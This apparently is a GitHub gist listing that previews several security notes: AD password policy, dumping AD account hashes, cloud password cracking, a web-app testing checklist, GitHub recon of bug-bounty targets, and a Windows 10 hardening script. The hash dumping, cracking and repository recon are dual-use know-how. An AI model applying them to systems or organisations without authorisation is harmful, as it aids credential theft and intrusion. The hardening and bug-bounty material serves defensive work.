Low Hanging Hacker Fruit

This gist focuses on (relatively) free and (relatively) easy things organizations can do to better protect their networks without buying yet another black box with blinking lights.

Got some ideas of your own that should be on this list? Please leave a comment below!

Implementing a stronger AD password policy

Microsoft has a great paper on the topic that gives some nice high level recommendations:

Use a unique password per site
Enable complexity

Creating AD backup dump of user accounts and hashes

Upgrade to latest version of PowerShell

Check your version with:

$Psversiontable.psversion

If you are below Major: 5, Minor:1 head to Microsoft's download site to get the latest.

Update 8/24/23:

I now do password cracking in the cloud using a suped up AWS rig. More details here.

This document is under construction, but is intended to get you up and running quickly with cracking hashes in the cloud using the Paperspace service.

Fast Testing Checklist

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

	:: Windows 10 Hardening Script
	:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
